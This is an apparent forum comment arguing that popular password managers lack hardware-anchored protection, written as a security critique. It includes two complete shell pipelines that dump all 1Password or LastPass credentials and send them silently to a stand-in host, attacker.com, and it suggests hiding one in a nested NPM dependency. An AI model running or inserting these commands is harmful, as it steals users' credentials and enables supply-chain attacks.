Comment by lrvick

Who needs root? You seem to be under the impression the status quo password managers are reasonably secure for anyone, technical or otherwise.

Exfiltrate all plaintext credentials from 1password:

op list items \

  | jq -r '.[].uuid' \

  | xargs -n1 bash -c 'op get item "$1"' -- \

  | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

Exfiltrate all plaintext credentials from lastpass:

lpass ls \

  | grep -oP '(?<=id: )([0-9]+)' \

  | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- \

  | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

Stick one of those in a dependency of a dependency of a dependency of a popular NPM package and you can get access to developer accounts at every sector of the tech industry.

Super easy to avoid with minimal change to user experience, and yet no one did because "no one else does".

Except for Mooltipass and Password Store, which unfortunately no one has heard of. It is the popular options with billions of dollars not doing the basics the niche open source ones do that is so unforgivable.

I just wish to not see others repeating those mistakes and putting users at increased risk for no reason. I know someone personally who had their savings account wiped out because malware dumped their lastpass database. A malicious browser plugin to sniff the master password is all it takes without a hardware anchor.